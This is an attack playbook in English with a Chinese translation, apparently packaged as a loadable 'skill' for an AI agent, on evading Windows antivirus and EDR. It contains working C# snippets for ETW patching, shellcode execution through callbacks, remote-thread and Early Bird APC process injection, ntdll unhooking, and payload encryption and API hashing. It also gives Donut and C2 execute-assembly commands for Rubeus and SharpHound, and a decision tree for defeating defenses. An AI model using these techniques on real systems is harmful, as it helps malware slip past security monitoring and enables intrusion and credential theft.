windows-av-evasion
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: AV/EDR Evasion — Expert Attack Playbook
SKILL: AV/EDR 绕过 — 专家攻击指南
AI LOAD INSTRUCTION: Expert AV/EDR evasion techniques for Windows. Covers AMSI bypass, ETW bypass, .NET assembly loading, shellcode execution, process injection, unhooking, payload encryption, and signature evasion. Base models miss detection-specific bypass chains and syscall-level evasion nuances.
AI加载说明: 面向Windows的专业AV/EDR绕过技术,覆盖AMSI绕过、ETW绕过、.NET程序集加载、shellcode执行、进程注入、脱钩、payload加密、特征码绕过。基础模型缺少针对特定检测的绕过链以及系统调用级绕过的细节差异。
0. RELATED ROUTING
0. 相关路径指引
Before going deep, consider loading:
- windows-privilege-escalation when privesc tools are blocked by AV
- windows-lateral-movement when lateral movement tools trigger EDR
- active-directory-kerberos-attacks when Rubeus/Mimikatz are detected
- active-directory-acl-abuse for non-binary AD attacks (less AV-sensitive)
深入学习前,可按需加载以下内容:
- 当提权工具被AV拦截时,加载windows-privilege-escalation
- 当横向移动工具触发EDR告警时,加载windows-lateral-movement
- 当Rubeus/Mimikatz被检测到时,加载active-directory-kerberos-attacks
- 如需敏感度更低的非二进制AD攻击,加载active-directory-acl-abuse
Advanced Reference
高级参考
Also load AMSI_BYPASS_TECHNIQUES.md when you need:
- Detailed AMSI bypass code patterns (memory patching, reflection)
- PowerShell-specific AMSI bypasses
- .NET AMSI bypass techniques
当你需要以下内容时,也可加载AMSI_BYPASS_TECHNIQUES.md:
- 详细的AMSI绕过代码模式(内存补丁、反射)
- PowerShell专属AMSI绕过方案
- .NET AMSI绕过技术
1. AMSI BYPASS OVERVIEW
1. AMSI绕过概述
AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.
AMSI(反恶意软件扫描接口)会在运行时检测PowerShell、.NET、VBScript、JScript和Office宏。
Key AMSI Bypass Categories
核心AMSI绕过分类
| Category | Method | Detection Risk | Persistence |
|---|---|---|---|
| Memory patching | Patch | Medium | Per-process |
| Reflection | Modify AMSI init flags via .NET reflection | Medium | Per-session |
| String obfuscation | Encode/split AMSI trigger strings | Low | Per-payload |
| PowerShell downgrade | Force PS v2 (no AMSI) | Low | Per-session |
| CLM bypass | Escape Constrained Language Mode | Medium | Per-session |
| COM hijack | Redirect AMSI COM server | Low | Per-user |
| 类别 | 方法 | 检测风险 | 持久性 |
|---|---|---|---|
| 内存补丁 | 修补 | 中 | 进程级 |
| 反射 | 通过.NET反射修改AMSI初始化标志 | 中 | 会话级 |
| 字符串混淆 | 对触发AMSI的字符串进行编码/拆分 | 低 | payload级 |
| PowerShell降级 | 强制使用PS v2(无AMSI) | 低 | 会话级 |
| CLM绕过 | 逃逸约束语言模式 | 中 | 会话级 |
| COM劫持 | 重定向AMSI COM服务器 | 低 | 用户级 |
Quick AMSI Bypass (One-Liners)
快速AMSI绕过(单行命令)
powershell
undefinedpowershell
undefinedPowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
PowerShell v2降级(如果可用.NET 2.0 — v2版本无AMSI)
powershell -Version 2
powershell -Version 2
Reflection-based (set amsiInitFailed = true)
基于反射的绕过(设置amsiInitFailed = true)
Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns
已做混淆处理避免静态检测 — 完整模式参考AMSI_BYPASS_TECHNIQUES.md
---
---2. ETW BYPASS
2. ETW绕过
ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching stops .NET assembly load events.
EtwEventWriteETW(Windows事件跟踪)会向EDR上报遥测数据。修补可以阻断.NET程序集加载事件上报。
EtwEventWritePatch EtwEventWrite
修补EtwEventWrite
csharp
// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);csharp
// C# — 修补EtwEventWrite使其直接返回
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// 在第一个字节写入ret (0xC3)
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);PowerShell ETW Bypass
PowerShell ETW绕过
powershell
undefinedpowershell
undefinedDisable Script Block Logging (ETW provider)
禁用脚本块日志(ETW提供者)
Set internal field to disable ETW tracing
设置内部字段禁用ETW追踪
---
---3. .NET ASSEMBLY LOADING
3. .NET程序集加载
In-Memory Assembly.Load
内存中Assembly.Load
csharp
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });csharp
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// 也可从URL下载、从资源解密获取
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });Donut — Convert .NET Assembly to Shellcode
Donut — 将.NET程序集转换为Shellcode
bash
undefinedbash
undefinedGenerate shellcode from .NET EXE
从.NET EXE生成shellcode
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
With parameters
带参数的情况
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
Then load shellcode via any injection technique (§5)
之后通过任意注入技术加载shellcode(见第5节)
undefinedundefinedexecute-assembly (C2 Framework)
execute-assembly(C2框架功能)
undefinedundefinedCobalt Strike
Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast
execute-assembly /path/to/Rubeus.exe kerberoast
Sliver
Sliver
execute-assembly /path/to/SharpHound.exe -c all
execute-assembly /path/to/SharpHound.exe -c all
Havoc
Havoc
dotnet inline-execute /path/to/tool.exe args
---dotnet inline-execute /path/to/tool.exe args
---4. SHELLCODE EXECUTION TECHNIQUES
4. Shellcode执行技术
VirtualAlloc + Callback (Avoids CreateThread)
VirtualAlloc + 回调(规避CreateThread)
csharp
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// Use callback API instead of CreateThread (less monitored)
EnumWindows(addr, IntPtr.Zero);Callback APIs for shellcode execution: , , , , , — all accept function pointers that can point to shellcode.
EnumWindowsEnumChildWindowsEnumFontsEnumDesktopsCertEnumSystemStoreEnumDateFormatscsharp
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// 使用回调API代替CreateThread(被监控的概率更低)
EnumWindows(addr, IntPtr.Zero);可用于shellcode执行的回调API:、、、、、 — 所有这些API都接受可指向shellcode的函数指针。
EnumWindowsEnumChildWindowsEnumFontsEnumDesktopsCertEnumSystemStoreEnumDateFormats5. PROCESS INJECTION TECHNIQUES
5. 进程注入技术
| Technique | APIs Used | Detection Risk | Notes |
|---|---|---|---|
| CreateRemoteThread | OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread | High | Classic, heavily monitored |
| NtMapViewOfSection | NtCreateSection, NtMapViewOfSection | Medium | Shared memory, less common |
| Process Hollowing | CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread | Medium | Replace process image |
| Thread Hijacking | SuspendThread, SetThreadContext, ResumeThread | Medium | Modify existing thread |
| Early Bird | CreateProcess (SUSPENDED), QueueUserAPC, ResumeThread | Low-Medium | APC before main thread |
| Phantom DLL Hollowing | Map DLL section, overwrite with shellcode | Low | Uses legitimate DLL mapping |
| Module Stomping | LoadLibrary, overwrite .text section | Low | Backed by legitimate DLL |
| Transacted Hollowing | NtCreateTransaction, NtCreateSection | Low | No suspicious allocations |
| 技术 | 使用的API | 检测风险 | 备注 |
|---|---|---|---|
| CreateRemoteThread | OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread | 高 | 经典方案,被高度监控 |
| NtMapViewOfSection | NtCreateSection, NtMapViewOfSection | 中 | 共享内存方案,使用较少 |
| 进程空心化 | CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread | 中 | 替换进程镜像 |
| 线程劫持 | SuspendThread, SetThreadContext, ResumeThread | 中 | 修改已有线程 |
| Early Bird | CreateProcess (SUSPENDED), QueueUserAPC, ResumeThread | 低-中 | 在主线程启动前注入APC |
| Phantom DLL空心化 | 映射DLL节,用shellcode覆盖 | 低 | 使用合法DLL映射 |
| 模块踩踏 | LoadLibrary, 覆盖.text节 | 低 | 由合法DLL背书 |
| 事务空心化 | NtCreateTransaction, NtCreateSection | 低 | 无可疑内存分配 |
CreateRemoteThread (Basic Pattern)
CreateRemoteThread(基础模板)
csharp
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);csharp
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);Early Bird APC Injection
Early Bird APC注入
csharp
// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);
// Allocate and write shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
// Queue APC to main thread (runs before main entry point)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);csharp
// 创建挂起进程
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, out pi);
// 分配内存并写入shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
// 向主线程队列插入APC(在主入口点前执行)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);6. UNHOOKING — BYPASS EDR API HOOKS
6. 脱钩 — 绕过EDR API挂钩
Direct Syscalls (SysWhispers / HellsGate)
直接系统调用(SysWhispers / HellsGate)
EDR hooks functions. Direct syscalls bypass hooks by invoking the kernel directly.
ntdll.dllNormal: User code → ntdll.dll (HOOKED) → kernel
Direct: User code → syscall instruction → kernel (bypasses hook)| Tool | Method | Notes |
|---|---|---|
| SysWhispers2/3 | Compile-time syscall stubs | Static syscall numbers |
| HellsGate | Runtime syscall number resolution | Dynamic, harder to detect |
| HalosGate | Resolve from neighboring unhooked syscalls | Handles partial hooks |
| TartarusGate | Extended HalosGate | More robust resolution |
EDR会挂钩中的函数。直接系统调用通过直接调用内核绕过挂钩。
ntdll.dll常规路径: 用户代码 → ntdll.dll (已被挂钩) → 内核
直接调用: 用户代码 → syscall指令 → 内核(绕过挂钩)| 工具 | 方法 | 备注 |
|---|---|---|
| SysWhispers2/3 | 编译时生成系统调用桩 | 静态系统调用号 |
| HellsGate | 运行时解析系统调用号 | 动态方案,更难检测 |
| HalosGate | 从相邻未挂钩的系统调用解析 | 可处理部分挂钩场景 |
| TartarusGate | 扩展版HalosGate | 更鲁棒的解析能力 |
Fresh ntdll Copy
全新ntdll副本
csharp
// Read clean ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Or from KnownDlls: \KnownDlls\ntdll.dll
// Or from suspended process (create sacrificial process, read its ntdll)
// Overwrite hooked .text section with clean copy
// → All EDR hooks in ntdll are removedcsharp
// 从磁盘读取干净的ntdll.dll
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// 也可从KnownDlls获取: \KnownDlls\ntdll.dll
// 也可从挂起进程读取(创建牺牲进程,读取其ntdll)
// 用干净副本覆盖已被挂钩的.text节
// → ntdll中所有EDR挂钩都被移除Indirect Syscalls
间接系统调用
// Instead of: syscall (in your code — suspicious)
// Do: jump to syscall instruction inside ntdll.dll (legitimate location)
// The ret address on stack points to ntdll.dll, not your code// 替代方案:不要在你的代码中直接执行syscall(易被怀疑)
// 改为跳转到ntdll.dll内部的syscall指令(合法位置)
// 栈上的返回地址指向ntdll.dll,而非你的代码7. PAYLOAD ENCRYPTION & OBFUSCATION
7. Payload加密与混淆
Encryption Methods
加密方法
csharp
// AES encryption (preferred)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);
// XOR (simple, fast)
for (int i = 0; i < shellcode.Length; i++)
shellcode[i] ^= key[i % key.Length];
// RC4 (stream cipher, simple implementation)csharp
// AES加密(首选)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);
// XOR(简单快速)
for (int i = 0; i < shellcode.Length; i++)
shellcode[i] ^= key[i % key.Length];
// RC4(流密码,实现简单)Sleep Obfuscation
休眠混淆
Encrypt shellcode in memory during sleep to avoid memory scanners.
| Technique | Method |
|---|---|
| Ekko | ROP chain → encrypt heap/stack during sleep |
| Foliage | APC-based sleep with memory encryption |
| DeathSleep | Thread de-registration during sleep |
休眠时加密内存中的shellcode,规避内存扫描器。
| 技术 | 方法 |
|---|---|
| Ekko | ROP链 → 休眠时加密堆/栈 |
| Foliage | 基于APC的休眠+内存加密 |
| DeathSleep | 休眠时注销线程 |
Staged Loading
分段加载
Stage 1: Small, encrypted loader (evades static analysis)
Stage 2: Download actual payload at runtime (encrypted)
Stage 3: Decrypt in memory → execute第一阶段: 小型加密加载器(规避静态分析)
第二阶段: 运行时下载实际payload(加密状态)
第三阶段: 内存中解密 → 执行8. SIGNATURE EVASION
8. 特征码绕过
String Encryption
字符串加密
csharp
// Avoid plaintext API names, URLs, tool names
// Use encrypted strings, decrypt at runtime
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);csharp
// 避免明文存储API名、URL、工具名
// 使用加密字符串,运行时解密
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);API Hashing
API哈希
csharp
// Resolve API by hash instead of name (avoids string detection)
// Hash "VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);csharp
// 通过哈希而非名称解析API(规避字符串检测)
// 哈希"VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);Metadata Removal
元数据移除
bash
undefinedbash
undefinedStrip .NET metadata
剥离.NET元数据
ConfuserEx / .NET Reactor / Obfuscar
ConfuserEx / .NET Reactor / Obfuscar
Remove PE metadata (timestamps, rich header, debug info)
移除PE元数据(时间戳、rich头、调试信息)
Modify compilation timestamps
修改编译时间戳
Strip PDB paths
移除PDB路径
undefinedundefinedC2 Framework Evasion
C2框架绕过能力
| Framework | Key Evasion Features |
|---|---|
| Cobalt Strike | Malleable C2 profiles, HTTP/S traffic shaping, sleep jitter, PE evasion |
| Sliver | Multiple protocols (mTLS, WireGuard, DNS), stager-less, built-in obfuscation |
| Havoc | Indirect syscalls, sleep obfuscation, module stomping |
| Brute Ratel | Badger agent, syscall evasion, ETW/AMSI bypass built-in |
| 框架 | 核心绕过特性 |
|---|---|
| Cobalt Strike | 可定制C2配置、HTTP/S流量整形、休眠抖动、PE规避 |
| Sliver | 多协议支持(mTLS、WireGuard、DNS)、无阶段加载、内置混淆 |
| Havoc | 间接系统调用、休眠混淆、模块踩踏 |
| Brute Ratel | Badger agent、系统调用绕过、内置ETW/AMSI绕过 |
9. AV/EDR EVASION DECISION TREE
9. AV/EDR绕过决策树
Need to execute tool/payload on protected host
│
├── PowerShell-based payload?
│ ├── AMSI blocking? → AMSI bypass first (§1)
│ │ ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
│ │ ├── Memory patch AmsiScanBuffer
│ │ └── Reflection-based bypass
│ ├── Script Block Logging? → ETW bypass (§2)
│ └── Constrained Language Mode? → CLM bypass or switch to C#
│
├── .NET assembly (Rubeus, SharpHound, etc.)?
│ ├── Direct execution blocked?
│ │ ├── In-memory Assembly.Load (§3)
│ │ ├── Convert to shellcode with Donut (§3)
│ │ └── Use C2 execute-assembly (§3)
│ └── Still detected?
│ ├── Obfuscate assembly (ConfuserEx)
│ ├── Modify source + recompile
│ └── Use BOFs (Beacon Object Files) if CS
│
├── Shellcode execution needed?
│ ├── Basic → VirtualAlloc + callback (§4)
│ ├── Need injection → choose technique by OPSEC (§5)
│ │ ├── Low detection needed → module stomping or phantom DLL
│ │ ├── Medium → early bird APC or NtMapViewOfSection
│ │ └── Quick and dirty → CreateRemoteThread
│ └── Memory scanners detect payload?
│ ├── Encrypt payload → decrypt only at execution (§7)
│ └── Sleep obfuscation (Ekko/Foliage) (§7)
│
├── EDR hooking ntdll.dll?
│ ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
│ ├── Fresh ntdll copy from disk/KnownDlls (§6)
│ └── Indirect syscalls (return to ntdll instruction) (§6)
│
├── Signature detection?
│ ├── Known tool signature → modify + recompile
│ ├── String-based → string encryption / API hashing (§8)
│ ├── PE metadata → strip/modify (§8)
│ └── Behavioral → change execution flow, add junk code
│
└── All local evasion fails?
├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
├── Use legitimate admin tools (PsExec, WMI, WinRM)
└── Switch to fileless / memory-only techniques需要在受保护主机上执行工具/payload
│
├── 是基于PowerShell的payload?
│ ├── 被AMSI拦截? → 先执行AMSI绕过(第1节)
│ │ ├── 可用.NET 2.0? → PS v2降级(无AMSI)
│ │ ├── 内存补丁AmsiScanBuffer
│ │ └── 基于反射的绕过
│ ├── 启用了脚本块日志? → ETW绕过(第2节)
│ └── 处于约束语言模式? → CLM绕过或切换到C#
│
├── 是.NET程序集(Rubeus、SharpHound等)?
│ ├── 直接执行被拦截?
│ │ ├── 内存中Assembly.Load(第3节)
│ │ ├── 用Donut转换为shellcode(第3节)
│ │ └── 使用C2的execute-assembly功能(第3节)
│ └── 仍然被检测?
│ ├── 混淆程序集(ConfuserEx)
│ ├── 修改源码 + 重新编译
│ └── 如果是CS,使用BOFs(Beacon Object Files)
│
├── 需要执行shellcode?
│ ├── 基础场景 → VirtualAlloc + 回调(第4节)
│ ├── 需要注入 → 根据OPSEC要求选择技术(第5节)
│ │ ├── 需要低检测率 → 模块踩踏或phantom DLL
│ │ ├── 中检测率要求 → early bird APC或NtMapViewOfSection
│ │ └── 快速实现 → CreateRemoteThread
│ └── 内存扫描器检测到payload?
│ ├── 加密payload → 仅在执行前解密(第7节)
│ └── 休眠混淆(Ekko/Foliage)(第7节)
│
├── EDR挂钩了ntdll.dll?
│ ├── 直接系统调用(SysWhispers3/HellsGate)(第6节)
│ ├── 从磁盘/KnownDlls获取全新ntdll副本(第6节)
│ └── 间接系统调用(跳转到ntdll指令)(第6节)
│
├── 被特征码检测?
│ ├── 已知工具特征 → 修改 + 重新编译
│ ├── 基于字符串检测 → 字符串加密 / API哈希(第8节)
│ ├── PE元数据问题 → 剥离/修改元数据(第8节)
│ └── 行为检测 → 修改执行流程,添加垃圾代码
│
└── 所有本地绕过都失败?
├── 使用LOLBins:certutil、mshta、regsvr32
├── 使用合法管理工具(PsExec、WMI、WinRM)
└── 切换到无文件/仅内存技术